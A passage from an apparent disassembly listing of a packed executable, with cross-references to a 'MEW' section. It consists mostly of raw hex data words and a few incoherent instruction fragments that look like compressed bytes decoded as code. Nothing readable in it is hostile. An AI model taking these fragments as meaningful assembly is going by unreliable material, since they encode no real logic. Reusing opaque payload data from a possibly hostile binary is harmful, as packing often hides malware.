5C7B0F1Fh, 0D1251086h, 3F05A86Eh, 5758D97Ah, 0DE561C3Ch dd 0DA92A956h, 675C63DCh, 9A9090BEh, 0EF370CC2h, 5AA0A9FFh dd 5C03635Bh, 19451009h, 633D84B4h, 0C257275Dh, 0FFB68E6Eh dd 101CFE3Ah, 1648EB5Fh, 0D20110F7h, 6CA9891Bh, 904564D0h dd 93050483h, 343EB95Ch, 23177CE7h, 134B9914h, 157D34E0h dd 0FFB823DAh, 24ED5886h, 68044CFEh, 82B84091h, 9DB33EBEh dd 0C537F50Bh, 784ACB22h, 0F1F1B9F7h, 90B765DCh, 22409D79h dd 0AE846F74h, 0D79FF7Bh, 2FDF3197h, 0C7B84E66h, 2DE7C027h dd 53AE1C24h, 8983489Dh, 2DC2BEEDh, 0C336432h, 0FD5358E4h dd 4361A0BAh, 46E81FD3h, 3BA64488h, 0E31AB5B4h, 99BB95A7h dd 0F0959D81h, 0BDEC214Dh, 785165F8h, 703784A7h, 0D81CA214h dd 194376BFh, 9939B54Ch, 0CE9296EBh, 0D8FA55D6h, 75929AD7h dd 702003Fh, 0B68D1FB6h, 91160289h, 0C9265321h, 691E23D6h dd 1B4DD9F1h, 0F6849E9Ch, 979B96FCh, 7377BCAh, 0B1BC4763h dd 79D13061h, 2B1B050Eh, 0CC7ACE66h, 76127E2Fh, 90676973h dd 216FD3EEh, 0BE3218D2h, 52C9834Ch, 0A7CC5916h, 0F3C74081h dd 26866C14h, 6ED98548h, 25324FC0h, 3C7DEBA1h, 53017F8Ah dd 0F58A238Ch, 394BF167h, 6DB329E5h, 0C87166CEh, 44FBE7DDh dd 491675BEh, 0ACF30DBCh, 0FD00E957h, 627841DEh, 0EC9918F9h dd 0CBC7E2FCh, 26412967h, 9BA065A8h, 0D30CAE3Ch, 7D256045h dd 0EC50749Ch, 4E8AB5F9h, 0D4AB6AD6h, 1321E737h, 6026AE24h dd 690F40C7h, 14443294h, 3389E5FFh, 440450D6h, 210D587Dh dd 2AB39738h, 0C09F1189h, 791173C0h, 881E4DC2h, 516C22DBh dd 19BA1C52h, 0D9C878DDh, 51B14F47h, 48B85A7Ah, 5E3A1384h dd 8D86A9A9h, 0B9424E36h, 14C69973h, 6EE048CAh, 69850A96h dd 496093C4h, 2982622Fh, 8C28EE97h, 53F13A64h, 9A34BC20h dd 33254590h, 46AFA6EFh, 0F8B8CFEAh, 0D85290EAh, 72BED7DCh dd 0D8F182FEh, 0E46F6B82h, 6321BB9Bh, 397AFB30h, 2523F2AAh dd 1141F5A7h, 872D018Eh, 0FF203BD3h, 81172944h, 0C8E4B8A0h dd 347E9106h, 458F640Dh, 7A992191h, 47DC9301h, 0DF251646h dd 5ABB4F0Bh, 0FC2E2925h, 0D9F86D75h, 0FD21019Ch, 0FDF0C114h dd 26FFF427h, 0BF8AA7F4h, 0D9E7F3BFh, 0F4D3919h, 1B4E2240h dd 870EB18h, 0F2073B92h, 74C93967h, 2D4EA7FDh, 4334A7D0h dd 0A8CDA57Eh, 0DDCAC87Fh, 19AEBF5Ah, 44880BE2h, 5CED1B28h dd 4B5D36FCh, 0F6E7E658h, 0CA58D455h, 33E669A5h, 9ACC3F38h dd 771C6E68h, 9DEAEC8h, 0FDCECF31h, 65AFDDCAh, 52B801A5h dd 0EF2D07F3h, 0CA345E1Dh, 3006F31Ch, 0E172A66Ch, 90BF5FEDh dd 0DACE2543h, 40548F56h, 0FC26C08Ch, 0D48FAA12h, 501921E5h dd 0D2B1E28Dh, 0C5C1A39Eh, 18ECF2AAh, 9C92BFE3h, 12BD03BAh dd 80E000A9h, 47BC2D20h, 8CC517D6h, 1D8A2FACh, 0BD2CC44Dh dd 5C704D56h, 0CB374759h, 20AA6296h, 7080CAC7h, 0E4831207h dd 8FF5B71h, 0CBC9DAD0h, 0DC2934ABh, 215428A2h, 0E95DD79Eh dd 0ECF2BA48h, 3673A067h, 6114DA9Dh, 45BC7AD9h, 9BA748AEh dd 723983B7h, 0A7EA1F9Bh, 5604349Eh, 0DF37E6F0h, 0AC7C8160h dd 596582D8h, 27088355h, 1C0F883Dh, 0BCD03CC3h, 26C205D6h dd 0F4DDB364h, 7ADEC0E8h, 0C677AD0Bh, 16DD5C1Dh, 0C727BB7h dd 6B2055FBh, 12DA722Fh, 0E69F7C22h, 50F9D8BAh, 4062B913h dd 0E47792D5h, 5F8F949Ch, 770383D6h, 4511482h, 13D8D8E9h dd 0E7BE8127h, 0C1F86B5Eh, 0D3907238h, 0AF9510Ch, 3BBD2AC8h dd 82597AEBh, 4F6385D5h, 0DCDF1133h, 0F480DE76h, 99C93DDCh dd 0E0DAE17h, 1B4D0BA1h, 0EA004E49h, 22ABC1CFh, 474CF4EBh dd 3B0C3E1Ch, 36929941h, 9F7CBA17h, 622607BBh, 700842Dh dd 0EAA9265Eh, 7B84AAC2h, 82A9FA75h, 4555FA25h, 57314ED4h dd 5C4CBE32h, 0C13C0CFBh, 1757B709h, 0CC8D90A9h, 60C83825h dd 76B967A7h, 3CAF1D9Eh, 0B54DFDB1h, 0B406DFFEh, 17768F2h dd 56650A2Ch, 0FE1FA309h, 42ADE19Fh, 4666A4C4h, 69451EDBh dd 944806BDh, 51E85C0Ah, 2832AE98h, 140783D8h, 0D548B8D0h dd 235D371Ch, 8111AB52h, 2CBFC1E2h, 0A43BE5FAh, 0F519A70Fh dd 60EB22B0h, 144332A6h, 0A508744Fh, 6BDE5A12h, 83C1AA84h dd 2DD9A2A4h, 9FB1B6FCh, 97392859h, 65111C72h, 4DFE0243h dd 0A35FCDCAh, 7E907A5h, 6023C669h, 0CD8C99FAh, 0C40A7116h dd 0A90B0639h, 643261E9h, 8576A6F3h, 3213F58Fh, 0C58765CDh dd 97DDC544h, 0E2B8A54Ch, 0ABFCEE86h, 1D3B4C99h, 313B3766h dd 927B2416h, 8D901FB9h, 0B271C31Bh, 5828B77Ah, 933C3FBFh dd 9717864Fh, 0DC7258F7h, 3EF6CDE5h, 0C8D1D9B6h, 373D29A8h dd 0E2133508h, 4734F1ABh, 7A04994Ch, 0E76CFF03h, 133B19FEh dd 5B2F23E9h, 73C2E03Fh, 6F499ADAh, 0F917F940h, 0B9E2A46Ch dd 85D131E9h, 7419CBE6h, 5236D863h, 0DF9A5D5Eh, 0F9A0F4BAh dd 0EC978A56h, 81D710B2h, 320801B3h, 8A4BA365h, 0AE9A738h dd 96367D7Ah, 758C6295h, 0A8702093h, 297F25CFh, 0ECD248BDh dd 0BBD6F5FBh, 8F50589Ch dd 167D67A6h, 0A4E0DCD4h, 0D95BBA2Dh, 0AD6F1019h, 13F002ACh dd 6AC90478h, 5FEB31AEh, 83731310h, 0DDC99271h, 50910663h dd 0C9AEBC4Eh, 0AD14C44Eh, 1AB9B065h, 0B0D79E26h, 0A8A0064Eh dd 0FBDD3D4Fh, 0FCF0546Ah, 0FA6D8132h, 83F8696Fh, 0D138D56Dh dd 0CE3CA621h, 7C8E45DCh, 0FB15A324h, 0DFD67C26h, 0BB5187E8h dd 89C5E66Ah, 76CF3726h, 4A651C50h, 0B4167620h, 814CD5C5h dd 0F8E269FDh, 7AFE6BE9h, 74C38961h, 4723CA7Dh, 0B0073D51h dd 0E4EA5440h, 0EE7A971Eh, 0E3734F84h, 1A3B415Ah, 0CA29E94Ah dd 0A6D74936h, 0BE67910Ah, 0B826EA8Ah, 20C8F21h, 7C855426h dd 39E75222h, 29EFC7A2h, 417DF0A1h, 440A84E2h, 121614E5h dd 33BD716Bh, 0F3407C1Dh, 6155FC94h, 0F489A464h, 55A9EF7Ah dd 7981C4Fh, 73FE5131h, 65A6F348h, 6AED289Bh, 12113F1Fh dd 0F41F90Ah, 0B3AE5414h, 99F212B4h, 10D30C0Dh, 0CB6E6214h dd 54342BD5h, 164BCBDAh, 21BC5513h, 0AA2BBDD8h, 58F8F693h dd 9C229C5Eh, 8B4DD56Ah, 6CC39386h, 26D10EDAh, 0D235E4D8h dd 9F81582Ch, 1D1955F9h, 0DB28D667h, 96572318h, 0A774D49Fh dd 85572DD3h, 258038F5h, 0F9EEBE51h, 0EF8977F7h, 25420380h dd 333A67D2h, 18F12055h, 0CB8EA569h, 0E8828F6Fh, 0DC33112Bh dd 81F77E81h, 75641A45h, 0A8656331h, 0C92DC62Fh, 3495ECE8h dd 2844A1D7h, 29AC53E9h, 0A7B16611h, 0C0EAD199h, 9286B689h dd 3DF7036Ah, 71330EEh, 52D9791Dh, 6850781Ch, 529F30EEh dd 0A6B149C9h, 42717311h, 72E0CF88h, 0D7919F38h, 0B0316182h dd 0ED4AEF0Ch, 958A3702h, 3B50A460h, 51F369C5h, 0BEEAABE9h dd 5BDE198h, 1CDE467Fh, 6AB2C7DAh, 6D628C95h, 1F32F743h dd 0F17A1958h, 29176A7Eh, 0C81AA623h, 1FA7585Dh, 0AAB07D8Dh dd 0A2B5B134h, 30CC9FDDh, 4E17E435h, 6E2D4D51h, 46233D41h dd 983FEDA7h, 0F6781067h, 0EBA667D5h, 3D145871h, 3ED3B65Fh dd 4142AC92h, 5D234073h, 71A5A680h, 0CAF4EC96h, 0BC697234h dd 0DB2B1047h, 32975E7Dh, 0A9851CCBh, 3DA3D865h, 0DFF1DBC1h dd 95FB91Bh, 0D4889D3Fh, 51EB9122h, 0CB940A13h, 0DD304398h dd 109C9643h, 23F9C1A6h, 0C0C9CD43h, 9E907DFh, 0DF79835h dd 0F839410Dh, 40DD27FFh, 0EF443AC4h, 0DC15A503h, 0BB0CEC48h dd 0DAC78CAh, 0F8FC7F48h, 6E01A1CCh, 6096CA0Bh, 7755809Ah dd 7BC308CAh, 0F44E3524h, 0C265F407h, 0DBE723B3h, 0D5ADC10Ah dd 64539CB8h, 8D7C84DCh, 21BC26FFh, 917F3969h, 0E20F9785h dd 0FF97CAF3h, 57381E28h, 0C2B63030h, 3769B9CEh db 0C3h, 0E3h ; --------------------------------------------------------------------------- loc_4253AE: ; CODE XREF: __u_____:004253F9j jmp far ptr 898Bh:9FB75B9Ch ; --------------------------------------------------------------------------- db 0A4h, 9Ch, 64h dd 114E3E54h, 978FB09Ah, 9795BA2Eh, 0A3BD2AD0h, 4EBA40D4h db 51h, 23h, 29h ; --------------------------------------------------------------------------- loc_4253CF: ; CODE XREF: __u_____:0042544Bj popa add al, 0E4h cmp eax, [edx-5] shr esp, 21h sbb dl, [ecx-64h] push cs in eax, 40h ; Timer 8253-5 (AT: 8254.2). dec ebx fidivr word ptr [edi] fimul word ptr [eax+1CB0CACEh] out 3Dh, eax aam 52h xor [ecx+3184FA7Ch], edx xor al, 2Dh dec eax xor ebx, eax push esi test al, 2 jg short loc_4253AE jmp near ptr 8B84E912h ; --------------------------------------------------------------------------- dd 0AE748AEFh, 0F89CF4C7h, 0E23FED78h, 5347133Fh, 0D2126293h dd 0B3C55CADh, 0C8A9E2FCh, 0F928561Ch, 0CE43A923h, 55FEF8ABh dd 0C2EA0909h, 0C90E188Ch, 0F0FE9BB7h, 8EA77D12h, 0E3E825FFh dd 0B4405756h ; --------------------------------------------------------------------------- loc_425440: ; CODE XREF: MEW:00418C51j pop esp mov al, ds:8B04A6A2h add eax, 9B67B459h jecxz short loc_4253CF pop dx and al, 2Fh xor bl, ch xchg eax, edx call near ptr 1853EF47h or eax, 0C8A997A2h shr dh, cl ; --------------------------------------------------------------------------- dd 0C0F9A7DBh, 7F55958Eh, 4DC91102h, 0FF2B443Dh, 0AEDD26Dh dd 16FFFF63h, 9FEF42EBh, 0D1D27DD0h, 20393523h, 8E3DAA0Dh dd 0A4C4E3A9h, 0D4D3D3A9h, 984CBABBh, 72309C98h, 0F470218Eh dd 54826D99h, 0A0835B2Ch, 5983C7B9h, 0CB50E64Dh, 522E13ABh dd 49A2FB55h, 0E8EAFAB5h, 6E31BBF2h, 5824FD8Eh, 218298CAh dd 997C5134h, 0F1212B5h, 529AA14Eh, 81699550h, 5DD01EA9h dd 1F4B3C94h, 506B6862h, 849F8FE5h, 0B3D40555h, 6B787186h dd 0E3DFB47h, 51A2A31Fh, 2F62469h, 90FE9A30h, 9FA5F3D7h dd 0E053B1D8h, 6EF71C10h, 8893BFE2h, 6969A928h, 1F1B28E9h dd 0C6897ABCh, 6AD15E50h, 0CB4F0FCCh, 51CCB9Eh, 818035EBh dd 0D044D3D7h, 700C62F5h, 0D7060F91h, 1474140Dh, 7A10D70Bh dd 1D73E20Ch, 0E31E6085h, 7FA6330Bh, 5877024Dh, 342C3B1Ah dd 53BD1F65h, 3102C09Eh, 4CA05CFCh, 0ED9C871Bh, 1F93480Ah dd 8CA515B9h, 224B5EB4h, 74BC5736h, 0D64A3248h, 63C9F56Bh dd 0A395379Eh ; --------------------------------------------------------------------------- loc_42557C: ; CODE XREF: MEW:00418D8Dj rol dword ptr [ecx-551DB11Bh], cl stc retn 5400h ; --------------------------------------------------------------------------- dw 34D4h dd 23B9E621h, 0F417D8Dh, 4955B740h, 0D6F2A67Bh, 9CA3A9CAh dd 0A61DACE3h, 0A0BBE8CEh, 0F915352Eh, 132F746Dh, 0B2F1E62h dd 1EB5D6E0h, 336821E4h, 0D342335Ah, 0CD83F991h, 92DD566h dd 0F3241043h, 0B770CB7Eh, 0DC0ABD9Fh, 0A82E255Ah, 1F5E3950h dd 54FEB920h, 5F56ED72h, 0C4C886E8h, 0E37AED84h, 0D3556A1Dh dd 52E17B63h, 6AE02FB5h, 6DCB7C16h, 0C14D0C5Ah, 76D34C90h dd 112B274Ah, 6F9FB5FEh, 2078BFB9h, 0FC891E5Fh, 2CA4923h dd 31F020BDh, 0BC402965h, 220CAB42h, 0A3C67BDAh, 7EABA7EEh dd 0B486E25Fh, 3239A945h, 42D130F9h, 1BE25270h, 0A4E00D46h dd 0F925B4C9h, 0F2087EBBh, 0F4C634F4h, 0C21F77BCh, 0C9E80305h dd 0CEA998C2h, 49095A19h, 2115A50Bh, 8FCB6F2Fh, 7BA7F8EAh dd 93F64BC7h, 5C1DFA24h, 3622F7C3h, 0A5969B85h, 0EC937BCEh dd 9245D5D8h, 892121B3h, 0DD8F13D3h, 0FFB848E1h, 3A079261h dd 86BA255Dh, 6B480244h, 1ECAAE9Fh, 9408E287h, 25658726h dd 6FB892E1h, 4D596899h, 8E3E93AEh, 125E341Fh, 672107D2h dd 73D5F01h, 4D6DF992h, 4CB039C8h, 41E5F25Eh, 0FF31762Fh dd 3518CBCAh, 5DD26E69h, 9810D2D0h, 1CC14089h, 0E6E1F0ADh dd 8AD1B14Eh, 47A9DD90h, 6ADA3B82h, 0F579DA2Ch, 5E720443h dd 0CDC1CEAAh, 57CDFACFh, 88C4F571h, 0C836EFD9h, 88F81EF8h dd 3F132C23h, 0BBF42C84h, 66D0A8BEh, 0E8F37B3Ah, 0FFED502h dd 0FA6B1BCDh, 0A17803C6h, 596A8A6Dh, 8AB6FAF1h, 0C1B5BF4Eh dd 7E81C6B0h, 0A24B42C6h, 9EB6744Ch, 365F45D2h, 1674F4CFh dd 4734DB74h, 32E96A17h, 908C7484h, 0EFAB89A8h, 0B45DD9FBh dd 0D6257557h, 3B5301FAh, 0C37B3D6Fh, 0E3B7BC61h, 3A06E80Dh dd 0B16508B5h, 45F9D0F4h, 50B5D014h, 730968E3h, 30556713h dd 0DD06BF4Fh, 5815629h, 7A22C9DAh, 0BE3F26E1h, 0F23E2473h dd 619DB6D0h, 9861866h, 5EBB772Bh, 0AB542D77h, 506A3876h dd 2EFBE4B8h, 0E9185DD5h, 7B08F932h, 9D7ECC51h, 0DFA41774h dd 70C20A3Dh, 1EC7E2Ah, 6ADF3EA8h, 0FB13CD67h, 0B6A3380Eh dd 0E86EC8AFh, 0EA76DF35h, 0A4EC8215h, 0B5316B0Ch, 0FF0E6C4Eh dd 0F9D09C45h, 180F9908h, 0EB441C37h, 4B0B1E5Ch, 0A71E4D6Fh dd 0DCA12B69h, 7B336D36h, 0B7114D99h, 5789FC72h, 4234F78Eh dd 438A0CCBh, 0E89D485Dh, 0A7E6E63Ch, 0A5F3E078h, 8AD68F3Ch dd 0D194ACFCh, 1C38FCD7h, 0FF7C0D01h, 5B197A2Eh, 0C05CB702h dd 0F9234A4Ch, 0E24049A9h, 0E3AA552Ah, 32E81F93h, 0F260DBF8h dd 95477737h, 6E55019Ch, 0D07C4B11h, 0F2651BDBh, 0E0B95B7Ch dd 0CC33C8CDh, 1CA3C21Bh, 855E3BADh, 0B2C8B2D9h, 37B827CCh dd 2EA08CCBh, 1428FBEAh, 434659D2h, 55D1BA2Ch, 8F264D26h dd 38708638h, 1C92A3B9h, 0D17FEF1Ch, 0FEB4E805h, 5CEA4A7Bh dd 47321E2Fh, 0D0193062h, 4DEE42BBh, 39A38BC9h, 0AAD7FC54h dd 0A1D95A0Fh, 6709CACFh, 0A011D2F0h, 65C2431Fh, 0BE6551EDh dd 85FA1CEDh, 3F707868h, 44BFB405h, 0B580A15Dh, 0E3E5224Ch dd 13FC2080h, 78A02CF6h, 0E2E0412Fh, 5ECCF519h, 8EF880D6h dd 8B9E4C07h, 3DD4A3E8h, 7F120FCAh, 61A12FDFh, 2FB67F72h dd 639DAE39h, 0E403581Fh, 9B58AA04h, 88337BDFh, 65551920h dd 0E67825C7h, 52B0A9AAh, 6F76774Ah, 9A9E02F2h, 0B118C61Ah dd 8C0796A9h, 0E96EB00Eh, 56BC4D7Bh, 0C1447C9Ah, 224F32Ch dd 7830DD5Fh, 279FE618h, 3CA80723h, 13A4CF1Ah, 3B026344h dd 0CBBDAD14h, 0D6405452h, 5326F744h, 0DF37AC0Ah, 36F5493Ah dd 3D48F3D9h, 9FD48862h, 9723BE76h, 0F22481E1h, 0F3977F7Eh dd 0BA753B64h, 86F02AEFh, 0ABA6BAE5h, 900FE6A7h, 3A13EDFAh dd 0AC845AC9h, 0D5642951h, 0F14BDA32h, 0E2543726h, 2823C5D0h dd 0CEA0586Ah, 0F312E3E9h, 6A920414h, 6473B22Dh, 0ED3F3DC0h dd 3594AC14h, 6B43EECDh, 473B6381h, 73AE45EAh, 0FFA35250h dd 0AC111246h, 6DA9D46Fh, 5C5B9378h, 0B0C25F10h, 2E07F9E7h dd 7AA7DE54h, 6A1D9C3Eh, 42F51BD0h, 818E92E2h, 0D72E46CEh dd 0BE3F2A2h, 4EF9D532h, 0D6EE686Eh, 0FAB2D6CBh, 6103584Ah dd 5FA73877h, 0C76CDF23h, 19E55BC0h, 85AED475h, 0C90B4046h dd 436DB7Ah, 0CB956777h, 9123E3BFh, 50D9BDCCh, 4EDD2CCBh dd 13917101h, 7682C5F5h, 522BA090h, 5CC53179h, 0A1A7CCE4h dd 40BF930Ah, 583E5884h, 9947D121h, 0BB8024C3h, 8F2D425Dh dd 8F8DAA26h, 17EAA542h, 0BE8A6ADBh, 69D17C86h, 3C7A2E9Ch dd 0A8DC2DF7h, 0B7EA05F6h, 3E4858D9h, 6544DFE7h, 0DD3644DEh dd 278F33Eh, 0D6A84CE0h, 663F3DCBh, 38B857F3h, 0A322604Eh dd 2D0A714Dh, 544AB5B6h, 0E1A0FB4Ch, 2EEEFF0Ah, 9F4287BBh dd 0DFC8850Fh, 42850D48h, 980307D1h, 95230CEAh, 667D692Ah dd 0F404BAC0h, 0DB4EA19h, 5828FB3Fh, 0CF43503Ah, 0F59A3406h dd 6BB69BE2h, 0CD14E2D0h, 7FAF15E7h, 9F5D70CAh, 0D15183A6h dd 4C34CE06h, 1D62CB66h, 597C4296h, 1DC74A68h, 29CFF41Eh dd 0D0DFE8CAh, 35310DD0h, 0D033D2D6h, 0D3AD11D7h, 0D80AEFE4h dd 0D802FADFh, 85983B40h, 8016E192h, 0CEC2A267h, 0B3D51CD5h dd 0F97240DBh, 42BF2A8Ah, 0E0A8A79h, 0CD0E3DE1h, 0F0A63062h dd 0C0C0B48Bh, 550337B2h, 0E12E7760h, 7B7D7EE1h, 12122435h dd 71D3057Ch, 0A6851BC1h, 0A82B9A4Bh, 21FCCD4Eh, 813F5EB3h dd 32131643h, 0D5F0296h, 0D64E991Ah, 3E553CEBh, 65D079ECh dd 90F8ECA2h, 0CC8DC27Fh, 0F4AD3F44h, 0B430B85Dh, 0A208907Eh dd 837610Fh, 5F18A711h, 52FC33B3h, 9D1A154Eh, 0E4698A95h dd 85C49725h, 51EE83F7h, 19536E99h, 9481D249h, 0AD8C6CF7h dd 0FBB2F1EAh, 54C6AEB5h, 0C857B967h, 97A8709Ch, 0DF9AD26h dd 9BA974BEh, 8B98C7ADh, 472ACE6Dh, 0DB2EBB0h, 20DE14CDh dd 6E3BB5A2h, 8A32F967h, 3A10245Ch, 0BAE99BDCh, 32373EDh dd 0E8B26E3Ah, 3EF6C275h, 4E8B7534h, 0BD7D872Ah, 68AABBA0h dd 8DEA663Fh, 0FB3013A3h, 0AAD807D8h, 0D5838CC0h, 580ED5C6h dd 3C6480C1h, 10E4C1F5h, 0CC9A71Eh, 6A4A337Ah, 0A13FB7C8h dd 40C089F8h, 941FC5Ah, 0CB33098Bh, 0B5F09301h, 4B914142h dd 31AE8E1Dh, 0DEF3D845h, 5833C6EAh, 6575A8ABh, 7982B315h dd 4D4A0504h, 5499A52Fh, 6176A13h, 0FB6695B0h, 38490042h dd 5C760975h, 0FEC5A139h, 51C2F647h, 6AAF16C8h, 0CFE9F79Fh dd 7A2FA11Dh, 0EA75D5DCh, 42B62FA8h, 0AEF2788Dh, 5C9607DDh dd 7D4B6BD9h, 0D7F6D6CCh, 0ABCC7629h, 5A2A2495h, 93759209h dd 40472A71h, 0E6C0F7DCh, 874933C4h, 5C603017h, 840DCA01h dd 0DE1A26F3h, 0A1232D55h, 69EC2A0Eh, 0CD61CF16h, 19B75532h dd 0B6054940h, 0A3E30184h, 967D03A2h, 2CE4ADC0h, 9A4730EAh dd 0F704794Dh, 39B8310Fh, 7948E009h, 0A02EAA85h, 775F16CEh dd 2B9D73F0h, 58254CD0h, 0B86E1DFFh, 9530C2EDh, 41C402EFh dd 7417147Bh, 44678E96h, 25B33F8Ah, 24EB2489h, 0D4DFF4B0h dd 34E8DCB9h, 0DB73564Bh, 2F2D5952h, 5F29D6F6h, 675D5FE7h dd 5AB5A211h, 21CA4150h, 63BF899Ch, 8D9A59EBh, 210396A3h dd 10B53D33h, 3C5EEDCAh, 3D256E32h, 76F0A1Bh, 4A2174DEh dd 1DDD2AC1h, 7CE451FCh, 19B8EDE6h, 687F9917h, 0EA63E96h dd 0D6BFB650h, 3767014Dh, 8210C29Dh, 3A4A33BCh, 0FF8B44E2h dd 7B4F3C1Bh, 0A13B0779h, 723B7E22h, 0D167594Bh, 40913260h dd 0C47EBCF3h, 0B641B249h dd 7D702952h, 0A953C5CDh, 0B6ED8D6Bh, 0E727E8CDh, 0DD4F92h dd 0CE3967D1h, 841F458Ch, 0C485936Eh, 0FA69EA2Eh, 4C516EDh dd 372935FDh, 4C407C6Dh, 0ABA5076Fh, 0AB223948h, 92CB04A8h dd 0DC77D33Bh, 7A357F9h, 923F7F82h, 0D78A704Bh, 0CFD12B6Eh dd 848753C3h, 0C337766Eh, 94BA328Ch, 9FF8C7FAh, 0C1CBD64Fh dd 71A321DEh, 0B0F1DC2h, 673CC626h, 6061B4DBh, 0C820406h dd 0E72524F9h, 5448D823h, 0B729A467h, 0A9EBDC2Fh, 2C5B5B51h dd 9064938Dh, 91008DEBh, 0AA1DACD4h, 0F1CA410h, 24D11A53h dd 3F4B2177h, 0B7F7ACDFh, 79C62488h, 0E2C8AFD8h, 0A76D8C73h dd 0AF8177Bh, 5DD63029h, 158F6473h, 0FC5B9AD2h, 0ED7FB59Eh dd 6573BE47h, 0BC9717A9h, 4F42583Dh, 0DC7C1A33h, 0BCFDB82h dd 0B1C49F43h, 0A011BFAAh, 0E0AB3EAEh, 2CE3A792h, 0E05E4DBCh dd 0ACBEB206h, 0E489A86Fh, 5330F54Ah, 0A9682644h, 0C2EE0FA1h dd 932C968Ah, 2990AF8Eh, 86D870E5h, 1A51291Dh, 27DCA388h dd 5BE4115Eh, 0A2F3695Bh, 0B82B42E4h, 6AF4D8B6h, 2F20BB64h dd 24C1EC99h, 2A97D569h, 0C0E30348h, 0EE8219D9h, 6FB4EAA4h dd 4CBC050Fh, 0C57D5F76h, 4829E74Ah, 0D449D3E2h, 787CB01Ch dd 33DE866Ch, 845748D9h, 35C11397h, 0AF16B32Bh, 8799E62Eh dd 3DB7054Eh, 25A7B042h, 1253C831h, 6C2F42DBh, 0E369939Eh dd 0E9AE2FA7h, 95F1E0E4h, 0F18D12D2h, 65959BDFh, 0C4DD9CA9h dd 0D2FCB8F9h, 0B2B388CBh, 5D90A9CCh, 76DD41A7h, 0E2E5D4A0h dd 7F64D13Ah, 0EB6D5E64h, 99816B43h, 0A8D631AEh, 0D39D384h dd 0BEED1DE5h, 0E56C7BD7h, 87F0352Eh, 0D2BDB646h, 0E83FFC1Fh dd 772E78ACh, 0FD505E65h, 93B5506Ch, 258E9D88h, 0DCC64F1Ch dd 0ACA415A8h, 8C94C6A1h, 6FD228D0h, 0E7356C50h, 9641A721h dd 11756DE2h, 0EEF43BE8h, 0BEF56B67h, 0B94E1E4Fh, 8FC3F6A0h dd 0D627C5E7h, 58E7A873h, 3B0879D4h, 7C5037EFh, 5B3C81ECh dd 9559E8DCh, 0CA878170h, 0E841BA7Dh, 36FA192Bh, 6A0D0779h dd 58BD5E67h, 79210125h, 73DCB68Ch, 4E94B78Ch, 0A9A881DBh dd 1A83FCC8h, 8CF57D01h, 0E34BC8A2h, 0D17D8DDEh, 0D4A9C0EFh dd 71150696h, 398B5B1Bh, 4EC1C351h, 0B2F577FDh, 6DE8F527h dd 9D53D92Eh, 0E7A544E2h, 89F365ACh, 67C294FCh, 0C745B9E8h dd 518E9CE7h, 682E8481h, 58B18F7Dh, 0F7816779h, 590201B1h dd 5218FBD9h, 0F1AA48D7h, 5BD4D29Ah, 4F46B57Ah, 79AFB8F0h dd 1B81BD1Eh, 0B81FB0EFh, 2A2985E9h, 0EEFAFAADh, 0E1A2E11Eh dd 0B8FD1316h, 193FC91h, 48C17F7Fh, 88D786F4h, 8D3FB2FFh dd 3F5F61ABh, 0C8F590D3h, 547A0DAh, 593CD0Bh, 8258648Ch dd 7854F5A5h, 82E0B43Ah, 0DA899D09h, 0C73B0211h, 989A3C49h dd 78E8E153h, 921BE14Dh, 0DA2DC26Bh, 0EBEC5E34h, 0F204A4E9h dd 6440C13Ah, 0BC2673CBh, 0CB29E3A8h, 900687E4h, 28340835h dd 74BDA6AAh, 0B4CF661h, 4571F38Eh, 0A05EF1D2h, 0C9B0CDB5h dd 0CB11F1EEh, 5EA1D77Eh, 0F7D23F29h, 58C5F2FFh, 1ECDC530h dd 0B6B9DD50h, 2A999E5Bh, 0E22EC3F1h, 38207B70h, 0E40908B2h dd 7E551034h, 0D3629DD8h, 25BBF3C7h, 0B2D5E143h, 0AC282E1Ah dd 844F5693h, 9C5730F6h, 71139212h, 0CFD3D35Ch, 0DD27F8Eh dd 0BBC07A1Dh, 9913BFC0h, 15EDB5FDh, 53CA0058h, 0BA1B1A22h dd 8E3CF3E6h, 950698E6h, 0F76599E2h, 853CC253h, 0EFE72518h dd 0A6EE309Eh, 0A855D57Ah, 3E15F1B6h, 4DD215F9h, 0C08BFB8Fh dd 8B6D595Dh, 0A9682FBh, 0A14F2D5Bh, 6E480E29h, 9E07A8E1h dd 75D5FD29h, 4D30DDABh, 923460FAh, 5420389Ch, 0B490A3EEh dd 0DC431EAFh, 5C9E61A4h, 285F582Fh, 93C78ED3h, 36805D7Dh dd 0F5E6E7ACh, 870EDE47h, 0AC43C217h, 985A8EC6h, 195FA6B5h dd 62FA61A1h, 8D16E0E8h, 0D9F00F8Ah, 56DCC7A8h, 833A1A04h dd 0C4A674F4h, 9B49B375h, 0F6E3272Fh, 0E415652Ch, 72CFB04Eh dd 0E56685A3h, 7CD77AEBh, 0E9C6EA2Dh, 0CC7D2EA5h, 29026FBEh dd 2D91696Dh, 0C55B2401h, 63537E75h, 7FB26FF3h, 63A7459Ch dd 2C27B9DFh, 96928EEEh, 6652BFA5h, 477BE7E0h, 0E8F8A715h dd 410C202h, 0DCA308C4h, 717313E5h, 2E81331Eh, 0E4885B7Ah dd 925560F7h, 1894553Eh, 9CC2E801h, 0CE905C7Dh, 268731CCh dd 0B93A431Ah, 0C6333165h, 0BDB6025Fh, 0B75BB042h, 0D613F9CEh dd 8DD43FF4h, 0DEE17C3Bh, 0D1FE5D52h, 95CD8F14h, 7F3AB1CEh dd 8C122DADh, 3464EFFDh, 7CED3946h, 0B2229C48h, 674529E4h dd 27E1BC97h, 0EBC2D7F6h, 0E885D4B9h, 5971B266h, 6FA8881h dd 0DBEFD5B8h, 42C20180h, 0B88DBF7Dh, 69C5459Eh, 0BAC3496h dd 0BD8290Fh, 9D90481h, 5AB8CC9Ch, 0B3301E9Bh, 60AA00F9h dd 8DAAE7C1h, 0A6916995h, 0CB1DD71Fh, 2A1F440Eh, 9A472377h dd 911F30DAh, 96C00D70h, 79F3E5E4h, 0C5C61761h, 0E2BEDA5Ah dd 1816B881h, 0D161DC05h, 0C4876ACh, 6562B67Bh, 26FFDC20h dd 0BF01A7A7h, 6382C26Eh, 0EC6B45E9h, 1899F9CEh, 0C8B8F4CDh dd 0FC7DC98Fh, 410600B8h, 0C042954Ch, 0A458D807h, 5F5165B6h dd 64CD9245h, 0C1C723BBh, 0B5164B3h, 9AA12291h, 5541B356h dd 8ADDA60Ah, 0A42C6347h, 0ACD3CC64h, 0B37B211Ah, 3EBC1A55h dd 55C8C2E9h, 5EA7681Ah, 6F6C5AC3h, 0C198152Dh, 67432005h dd 0E636EBD4h, 0D16E5CDFh, 0B3971C81h, 0A1039E26h, 0E4948348h dd 0B01FC37Bh, 2C3FD4B7h, 14A06002h, 64A551A2h, 144E1F82h dd 